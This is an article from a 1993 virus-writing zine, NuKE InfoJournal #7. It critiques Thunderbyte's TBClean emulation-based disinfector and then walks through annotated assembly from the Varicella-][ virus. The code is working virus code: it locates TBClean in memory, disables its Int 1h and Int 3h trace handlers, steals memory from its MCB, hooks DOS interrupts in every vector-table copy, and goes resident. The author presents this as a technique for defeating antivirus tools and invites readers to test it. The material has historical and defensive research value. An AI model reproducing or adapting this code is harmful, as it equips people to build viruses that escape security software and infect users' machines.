541 lines
28 KiB
Plaintext
541 lines
28 KiB
Plaintext
================================================================================
|
|
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
|
|
uK E-
|
|
E- "The Dangers of Thunderbyte's TBClean Emulation Nu
|
|
Nu Techniques" KE
|
|
KE -N
|
|
-N By uK
|
|
uK Rock Steady E-
|
|
E- Nu
|
|
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
|
|
|
|
NuKE InfoJournal #7
|
|
August 1993
|
|
|
|
|
|
% AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %
|
|
|
|
% DISCLAIMER %
|
|
|
|
This article is concerning a study and field test of the reliability of
|
|
Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
|
|
and this is simply a report about his extensive study of Thunderbyte's
|
|
TBClean utility. This report is not intended to scare people away from
|
|
Thunderbyte's anti-virus package, but rather to show you how TBClean
|
|
actually works in order to clean a virus. The information here may disturb
|
|
many people, nevertheless it is presented here for the safety of those who
|
|
use Thunderbyte's TBClean in a home and/or business environment.
|
|
|
|
|
|
% What is ThunderByte %
|
|
|
|
Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
|
|
Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
|
|
computer viruses. In this issue of the NuKE InfoJournal, we will take a
|
|
very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
|
|
which is supplied in every TBAV package.
|
|
|
|
TBCLEAN.EXE is a program that tries to remove viruses from your infected
|
|
files by using an heuristic/emulation approach. Now, for those who don't
|
|
understand what an heuristic/emulation approach is let me try to explain
|
|
it to you in more simplified, less-technical terms.
|
|
|
|
TBClean will try to set up a "control" environment to execute the virus. You
|
|
see, many of the computer viruses today will attach themselves to binary files
|
|
and alter them in such a way that when you try to execute (run) the binary
|
|
file the virus will execute first and install itself into memory, and then
|
|
the virus will execute the original binary file it is attached to. Now, every
|
|
????????.COM and ????????.EXE binary file contains an entry point. This is the
|
|
point from which DOS to starts to execute the code. Basically it is
|
|
the beginning of the program, and in order for the file to run properly we
|
|
need to start at that entry point. Now *.COM files contain a FIXED entry point
|
|
which is location 100h. Now if we attach a virus to the end of the COM file,
|
|
we have to fix the entry point so that when executed the virus will run
|
|
first. Since this is a FIXED entry point, we will go to location 100h, and
|
|
put a JMP statement to jump to the entry point of the virus. For the
|
|
original file to execute correctly, we will need the original three bytes
|
|
at the entry point, since the JMP we put for it to jump to the virus entry
|
|
point took three bytes of data in the .COM. So when the virus gives control
|
|
back to the file, we then must restore the original three bytes and execute
|
|
them.
|
|
|
|
Now to remove the virus from the .COM file we need to know where the original
|
|
three bytes are. So TBClean will actually execute the virus and try to catch
|
|
the virus restoring the original three bytes. Once that happens, TBClean can
|
|
safely remove the virus from the file, as it now can replace the original
|
|
three bytes where the virus put its jump statement.
|
|
|
|
Now .EXEs have a variable entry point, rather than a fixed one like the .COM
|
|
files. Each .EXE file contains a header of about 32 bytes in the beginning
|
|
of the file which has information about the .EXE itself, including the entry
|
|
point. Now when a virus attaches (infects) itself to an .EXE file, it simply
|
|
puts its entry point inside the .EXE header and saves the original one for
|
|
later use.
|
|
|
|
Again, in order to remove a file from an .EXE file, we will need to have the
|
|
original entry point location. And TBClean does this by executing the virus
|
|
in a controlled environment; when the virus restores control back to the
|
|
.EXE file, it will jump to the entry point location. TBClean will halt
|
|
at that point and attempt to clean the file.
|
|
|
|
|
|
% The Problem %
|
|
|
|
The problem when doing this, the virus can always escape from this controlled
|
|
environment and go loose. In fact we at NuKE have attempted and succeeded in
|
|
doing just that!
|
|
|
|
|
|
% Explanation %
|
|
|
|
When you run TBClean to disinfect a virus-infected file, it does several
|
|
things in order to set up the environment needed to execute the virus. One of
|
|
things that TBClean does is check to see if it is being debugged.
|
|
|
|
I guess the makers of TBClean did not want people to "debug" their software
|
|
in order to have a closer look because once you know how the program works
|
|
you then can attempt to bypass it. The easiest way to bypass the anti-debug
|
|
traps is to use a debugger package that can go TSR and put loose breakpoints.
|
|
I've found that Periscope and SoftIce can easily bypass the TBClean traps,
|
|
or you may set a TSR file and set it to go off on the first interrupt 21h,
|
|
function 3Dh (DOS Open File).
|
|
|
|
The next main trick TBClean does is that it occupies all of the remaining
|
|
memory left in the system. TBClean only requires about 20k for itself, but
|
|
nevertheless it will occupy all the remaining memory left in the system. It
|
|
will use this memory for the file it will attempt to clean, but not all of the
|
|
memory is really needed, nevertheless it is occupied. Why? Well, because
|
|
TBClean wants to set-up a secure environment to run the virus and by occupying
|
|
all the available memory if the virus gets out of hand it CAN'T go resident
|
|
because there is no more memory left! "Pretty smart," you must be saying to
|
|
yourself? Yes, it is a good idea to occupy all of the memory, so like even if
|
|
the virus tries to allocate memory it will get an error and it will quit.
|
|
|
|
The next trick, before TBClean actually executes the virus in the controlled
|
|
environment is that it will make two copies of the interrupt vector table.
|
|
This too is a good idea, because if a virus does manage to escape and hook the
|
|
vector table, TBClean will notice the vector table change and restore it
|
|
with the original value. Therefore, if a virus was to "get out" of this
|
|
controlled TBClean environment we would need to hook all three copies of the
|
|
vector tables (DOS + the two copies that TBClean makes).
|
|
|
|
After this, we are pretty much ready to try to make a disinfection via
|
|
emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
|
|
and 4h to do the actual tracing. The interrupt that we REALLY need to pay
|
|
attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
|
|
they added what we call a Trap Flag. Normally this flag is off, and the
|
|
processor executes every line of code without stoping. But when the trap flag
|
|
is on, the processor will issue an Int 1h call after every line of code
|
|
executed. Therefore, after every line of code is executed the processor will
|
|
issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
|
|
the code line by line.
|
|
|
|
There are a few restrictions that TBClean enforces; one of them is the Trap
|
|
flag must always be on! If you try to turn off the Trap flag, TBClean will
|
|
fool the virus into thinking the Trap flag is off, but it really stays on.
|
|
Secondly, interrupt calls are not allowed. Thirdly, it will never give you
|
|
the true vector address of Int 1h or Int 3h -- it gives you a fake value
|
|
instead. Finally, TBClean will NOT allow the virus to have its segment in
|
|
the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
|
|
the value 0ABC is never allowed to go in the DS or ES registers of the virus.
|
|
This is done so the virus is not able to snoop inside TBClean.
|
|
|
|
|
|
% Making a virus to bypass TBClean %
|
|
|
|
After I had successfully taken apart TBClean, and once I understood exactly
|
|
how it worked, then I was ready to write a virus to defeat TBClean's
|
|
dangerous emulation techniques.
|
|
|
|
Don't get me wrong, TBClean has a great idea going, but it contains too many
|
|
flaws that must be tightened up. And apparently those flaws can lead to the
|
|
destruction of your PC. Just think about it. Let's say you just downloaded a
|
|
file from your local BBS, and you used TBSCAN to scan the new file for viruses,
|
|
before you attempt to execute it. Lets say the file is infected with a virus
|
|
like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
|
|
wouldn't you naturally try to clean it so you could perhaps use the file? Of
|
|
course you would, and what program would you use to do the job? Nothing but
|
|
TBClean!
|
|
|
|
Picture it, your computer is not infected by any virus, you are pretty much
|
|
happy about yourself for using TBSCAN and detecting that virus inside that
|
|
file you just downloaded. Your glad you got it before it infected your
|
|
computer. Or lets say you got TBScanX resident, and it caught the virus, just
|
|
as you attempt to executed it... You now try to clean the file with TBClean.
|
|
TBClean does what it has to do, looks at the file and then tries emulation to
|
|
disinfect it. After emulation TBClean reports no viruses found, and tells you
|
|
that it may not even be infected with a virus.
|
|
|
|
You're puzzled? Well, actually TBClean just unleased the virus into your
|
|
system! Now who's to blame? Personally, I think it's the incompetent
|
|
programmers of TBClean. It allowed too many loopholes in their program, and
|
|
the Varicella-][ virus just took advantage of those loopholes and is now
|
|
resident in your computer, ready to infect every file you touch. Remember, it
|
|
is also a very fast, stealthy virus.
|
|
|
|
Personally, if _any_ anti-virus program should attempt to disinfect via
|
|
emulation, it must be EXTREMELY cautious, and it should take every
|
|
possible loophole into account. Remember, emulation means that you are
|
|
actually executing the virus in order to disinfect it. Many people didn't
|
|
know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
|
|
should praise NuKE for testing their software and showing them their flaws, so
|
|
that they may do whatever is necessary to fix this problem.
|
|
|
|
It is fortunate for Thunderbyte that no "evil" virus writer has noticed
|
|
this problem and took advantage of it. It would have cost Thunderbyte
|
|
their name and market share.
|
|
|
|
Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
|
|
that Thunderbyte rated very low under NuKE's personal attack tests in several
|
|
fields.
|
|
|
|
Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
|
|
when no virus was present. It is enough that the average computer user is
|
|
paranoid about viruses, but if you "cry wolf" too many times people lose hope
|
|
in the package.
|
|
|
|
Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
|
|
under OS/2. This seems to be because TBSCAN uses its own file routines, instead
|
|
of DOS's.
|
|
|
|
Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
|
|
package too difficult to use. A Windows version of Thunderbyte could
|
|
be a great plus.
|
|
|
|
|
|
% And in this corner...Varicella-][ %
|
|
|
|
Let's go into detail with parts of the Varicella-][ virus and let's show you why
|
|
it works.
|
|
|
|
1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
|
|
2 xor dx,dx ;dx=0
|
|
3 mov ds,dx ;ds=0
|
|
4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
|
|
5 dec ax
|
|
6 mov ds,ax
|
|
|
|
Okay, after looking at the above we begin by resetting our TB flag. TBClean
|
|
will not give us the complete address of Int 1h. It will only give us the
|
|
correct segment, the offset is no good. Therefore let's simply take the segment.
|
|
Now we know the segment location of TBClean in memory, since TBClean will
|
|
not let me store the value in DS, let's subtract 1 and *then* store it in DS.
|
|
We have again fooled TBClean; maybe we can't have TBClean's correct segment
|
|
in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.
|
|
|
|
In the next block of code, we will search 64k of TBClean's memory in order to
|
|
find the Int 1h and 3h offsets and the two copies of the vector table. This is
|
|
the bit of data we will be searching for.
|
|
|
|
====================Somewhere in TBClean.EXE==v6.04===================
|
|
1 cs:04A4 33C0 xor ax,ax
|
|
2 cs:04A6 8ED8 mov ds,ax
|
|
3 cs:04A8 8BF8 mov si,ax
|
|
4 cs:04AA BF342D mov di,2D34
|
|
5 cs:04AD B90002 mov cx,0200
|
|
6 cs:04B0 F3A5 rep movsw
|
|
|
|
[The above block is coping the vector table (0000:0000) to location
|
|
ES:DI (ES:2D34). This value we will need.]
|
|
|
|
7 cs:04B2 FA cli
|
|
8 cs:04B3 C70600005411 mov word ptr [0000],1154
|
|
9 cs:04B9 8C0E0200 mov [0002],cs
|
|
10 cs:04BD C7060400E513 mov word ptr [0004],13E5
|
|
11 cs:04C3 8C0E0600 mov [0006],cs
|
|
12 cs:04C7 C7060C006B15 mov word ptr [000C],156B
|
|
13 cs:04CD 8C0E0E00 mov [000E],cs
|
|
14 cs:04D1 C70610005411 mov word ptr [0010],1154
|
|
15 cs:04D7 8C0E1200 mov [0012],cs
|
|
16 cs:04DB C70614005411 mov word ptr [0014],1154
|
|
17 cs:04E1 8C0E1600 mov [0016],cs
|
|
18 cs:04E5 C70618005411 mov word ptr [0018],1154
|
|
19 cs:04EB 8C0E1A00 mov [001A],cs
|
|
20 cs:04EF C7066C002411 mov word ptr [006C],1124
|
|
21 cs:04F5 8C0E6E00 mov [006E],cs
|
|
22 cs:04F9 FB sti
|
|
|
|
[The above block is hooking the vector table. This is were we get our
|
|
Int 1h and 3h location.]
|
|
|
|
23 cs:04FA 8BF0 mov si,ax
|
|
24 cs:04FC 8BF8 mov di,ax
|
|
25 cs:04FE 2E8E06F032 mov es,cs:[32F0]
|
|
26 cs:0503 B90080 mov cx,8000
|
|
27 cs:0506 F3A5 rep movsw
|
|
|
|
[The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
|
|
the segment which is in location CS:32F0. We will need to get this
|
|
location to hook the interrupts.]
|
|
===========================END of TBClean=============================
|
|
|
|
Now, the bellow block will start to search for the above block in memory
|
|
where we will scan 64k from the segment we got.
|
|
|
|
mov cx,0FFFFh ;cx=64k
|
|
mov si,dx ;si=0
|
|
|
|
look_4_TBClean: mov ax,word ptr ds:[si]
|
|
xor ax,0A5F3h
|
|
|
|
[You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
|
|
because TBClean will find out what I'm doing and fool around with the
|
|
flag and my test will fail! As you can see, we are looking for the bytes
|
|
from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
|
|
A5F3.]
|
|
je check_it ;jmp if its TBClean
|
|
look_again: inc si ;if not continue looking
|
|
loop look_4_TBClean
|
|
jmp not_found ;not found cont normal
|
|
|
|
[If A5F3 is found, we continue with the bottom, which will search for more bytes
|
|
in that block captured above. These bytes that we are searching for exist
|
|
in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
|
|
should work!]
|
|
|
|
check_it: mov ax,word ptr ds:[si+4]
|
|
xor ax,0006h
|
|
jne look_again ;jmp =! TBClean
|
|
mov ax,word ptr ds:[si+10]
|
|
xor ax,020Eh
|
|
jne look_again ;jmp =! TBClean
|
|
mov ax,word ptr ds:[si+12]
|
|
xor ax,0C700h
|
|
jne look_again ;jmp =! TBClean
|
|
mov ax,word ptr ds:[si+14]
|
|
xor ax,0406h
|
|
jne look_again ;jmp =! TBClean
|
|
|
|
[If all the bytes match, it means we found TBClean in memory, and since we
|
|
know where we are, we can steal the Int 1h & 3h locations, like we do
|
|
bellow.]
|
|
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
|
|
|
|
[Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
|
|
handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
|
|
the offset because the segment is really DS - 1, so to counter act the segment
|
|
we add 16 to the offset. (16 bytes = 1 segment)]
|
|
|
|
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
|
|
|
|
[Same is done for Int 3h bellow.]
|
|
|
|
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
|
|
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
|
|
|
|
[TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
|
|
found TBClean, and let's go resident]
|
|
|
|
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
|
|
|
|
[The next block gets the segment of where the 2nd copy of the vector table
|
|
is hiding (line #25 in TBClean capture)!]
|
|
|
|
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
|
|
mov word ptr cs:[tb_int2][bp],bx ;vector table
|
|
|
|
[The next block gets the offset of the 1st copy of the vector table that
|
|
TBClean did (line #4 in TBClean capture).]
|
|
|
|
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
|
|
mov word ptr cs:[tb_ints][bp],bx ;of vector table
|
|
|
|
[Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]
|
|
|
|
not_found: xor dx,dx
|
|
push ds
|
|
mov ds,dx ;put that in ds
|
|
les si,dword ptr ds:[0084h] ;get int21 vector
|
|
mov word ptr cs:[int21][bp],si ;save int21 offset
|
|
mov word ptr cs:[int21+2][bp],es ;save int21 segment
|
|
|
|
les si,dword ptr ds:[0070h] ;get int1c vector
|
|
mov word ptr cs:[int1c][bp],si ;save int1c offset
|
|
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
|
|
|
|
les si,dword ptr ds:[004ch] ;get int13 vector
|
|
mov word ptr cs:[int13][bp],si ;save int13 offset
|
|
mov word ptr cs:[int13+2][bp],es ;save int13 segment
|
|
pop ds
|
|
|
|
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
|
|
mov ax,0abcdh ;test if virus is here?
|
|
int 13h
|
|
cmp bx,0abcdh ;is it?
|
|
jne install_virus ;jmp, if not & install
|
|
leave_mcb: jmp exit_mem ;yes, leave then
|
|
|
|
[This is the tricky part! Remember TBClean occupies ALL available memory!
|
|
So I had to come up with a routine that would work when TBClean was NOT in
|
|
memory, and when it was! The task was hard...but I did it (naturally, hehe).
|
|
|
|
TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
|
|
"install_virus" and we get the List of Lists, and we get the FIRST MCB chain
|
|
and basically we chain through until we find the END of the MCB chain, which
|
|
ends with a "Z" instead of an "M". Once we find the last chain we subtract
|
|
the virus size in paragraphs, and that's it...
|
|
|
|
TBClean in memory: If TBClean is in memory when the virus finds the LAST
|
|
MCB block and tries to subtract its size from it, it will notice that
|
|
not enough memory is available. Where then will jump to "steal_some."
|
|
|
|
What "steal_some" does is it will REPEAT the process again. Meaning it will
|
|
now get the FIRST MCB chain, and chain through the end, but while its chaining
|
|
through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
|
|
find the MCB that belongs to TBClean we will subtract the virus size in
|
|
paragraphs from it and voila -- we stole and allocated memory while bypassing
|
|
TBClean!!! And now we can safely return to TBClean without worrying if it will
|
|
de-allocate our memory space.]
|
|
|
|
;--------- Going Resident ------
|
|
|
|
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
|
|
cmp al,0ffh ;memory from it!
|
|
je leave_mcb ;error? exit then
|
|
inc byte ptr cs:[mcb][bp] ;inc flag
|
|
cmp al,01 ;
|
|
ja mcb3_1
|
|
|
|
install_virus: mov ah,52h ;get the list of lists
|
|
int 21h ;use dos
|
|
mov ax,es:[bx-2] ;get first mcb chain
|
|
|
|
mov es,ax ;es=segment of 1st mcb
|
|
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
|
|
jne mcb2 ;jmp if not
|
|
clc ;yes last mcb, CLC
|
|
jmp short mcbx ;outta here
|
|
|
|
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
|
|
je mcb3 ;jmp if yes
|
|
stc ;error, set carry flag
|
|
jmp short mcbx ;outta here
|
|
|
|
[The bellow block is special! Meaning if the TB flag is on, we will compare
|
|
ALL of the MCB block owners to find the one that belongs to TBClean! Since
|
|
we already know the segment of TBClean, we subtract 100h (256) bytes and we
|
|
have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
|
|
we already subtracted 1 from the beginning!]
|
|
|
|
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
|
|
je mcb3_1 ;if yes, then jmp
|
|
mov dx,ds ;else cmp TB ds
|
|
sub dx,9h ;ds-10
|
|
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
|
|
je mcbx_1
|
|
|
|
mcb3_1: mov ax,es ;ax=es
|
|
add ax,word ptr es:[0003h] ;ax=es + next mcb
|
|
inc ax ;get mcb
|
|
mov es,ax ;es=ax:next mcb chain
|
|
jmp short mcb1 ;goto first step
|
|
|
|
mcbx: jc leave_mcb ;if error, exit
|
|
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
|
|
jb steal_some
|
|
mov byte ptr es:[0000],'Z' ;the last mcb chain!
|
|
sub word ptr es:[0003],(virus_size/16) + 11h
|
|
add ax,word ptr es:[0003h] ;figure out segment
|
|
inc ax ;add 16 bytes
|
|
mov es,ax ;new segment in es
|
|
mov di,103h ;offset is 103h
|
|
|
|
[Now we have some memory! Let's move a copy of the virus into that newly
|
|
allocated memory under the TOM!]
|
|
|
|
push ds ;save TB ds location
|
|
push cs
|
|
pop ds ;virus cs=ds
|
|
mov si,offset init_virus ;si=top of virus
|
|
add si,bp ;add delta
|
|
mov cx,virus_size ;move virus_size
|
|
cld ;clear direction flag
|
|
repne movsb ;do it Mr. Crunge
|
|
|
|
[Now we will hook the DOS Vector table (0000:0000->0000:0200).]
|
|
|
|
mov ds,cx ;ds=0000
|
|
hook_again: cli ;disable ints
|
|
mov word ptr ds:[0084h],offset int21_handler ;hook int21
|
|
mov word ptr ds:[0086h],es
|
|
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
|
|
mov word ptr ds:[0072h],es
|
|
mov word ptr ds:[004ch],offset int13_handler ;hook int13
|
|
mov word ptr ds:[004eh],es
|
|
sti ;enable ints
|
|
|
|
[We will test if the TBClean flag is on! If TBClean flag is on, we will make
|
|
DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]
|
|
|
|
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
|
|
je go_on ;no, then jmp
|
|
cmp cl,01h ;is this the 2nd x here?
|
|
je go_on ;yes, then jmp
|
|
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
|
|
inc cl ;inc cl
|
|
jmp short hook_again ;hook ints again
|
|
|
|
[If TBClean was found the bellow block will now hook the last copy of the
|
|
vector table that TBClean did...]
|
|
|
|
go_on: pop ds ;get TB code segment
|
|
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
|
|
je hook_tb_ints ;yes, then jmp
|
|
jmp exit_mem ;else exit
|
|
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
|
|
mov word ptr ds:[si+84h+16],offset int21_handler
|
|
mov word ptr ds:[si+86h+16],es
|
|
mov word ptr ds:[si+70h+16],offset int1c_handler
|
|
mov word ptr ds:[si+72h+16],es
|
|
mov word ptr ds:[si+4ch+16],offset int13_handler
|
|
mov word ptr ds:[si+4eh+16],es
|
|
|
|
[ALL DONE!!! Now we restore to the original file!
|
|
|
|
So how does it feel to fool TBClean??? Article #11 contains the complete
|
|
source code of the Varicella-][ virus. You may test it as you wish!]
|
|
|
|
exit_mem: pop ds
|
|
pop es
|
|
pop si
|
|
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
|
|
je exit_exe_file ;yupe exit exe file
|
|
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
|
|
je exit_exe_file ;yupe exit exe file
|
|
push cs
|
|
pop ds
|
|
mov bx,offset buffer ;get first 3 bytes
|
|
add bx,bp ;fix delta
|
|
mov ax,[bx] ;move first 2 bytes
|
|
mov word ptr ds:[100h],ax ;put em in the beginning
|
|
inc bx ;inc pointer
|
|
inc bx
|
|
mov al,[bx] ;get last of 3rd byte
|
|
mov byte ptr ds:[102h],al ;put that in place
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop word ptr cs:[ax_reg][bp] ;save ax else where
|
|
mov ax,100h
|
|
push ax ;fake a CALL & RETN
|
|
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
|
|
retn ;link to 100h
|
|
|
|
exit_exe_file: mov dx,ds ;get psp=ds seg
|
|
add dx,10h ;add 16bytes to seg
|
|
pop word ptr cs:[ax_reg][bp]
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
add word ptr cs:[buffer+22][bp],dx ;fix segments
|
|
add dx,word ptr cs:[buffer+14][bp]
|
|
cli
|
|
mov ss,dx ;restore ss
|
|
mov sp,word ptr cs:[buffer+16][bp] ;and sp
|
|
sti
|
|
mov dx,word ptr cs:[ax_reg][bp]
|
|
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
|
|
|
|
Rock Steady/NuKE
|
|
===============================================================================
|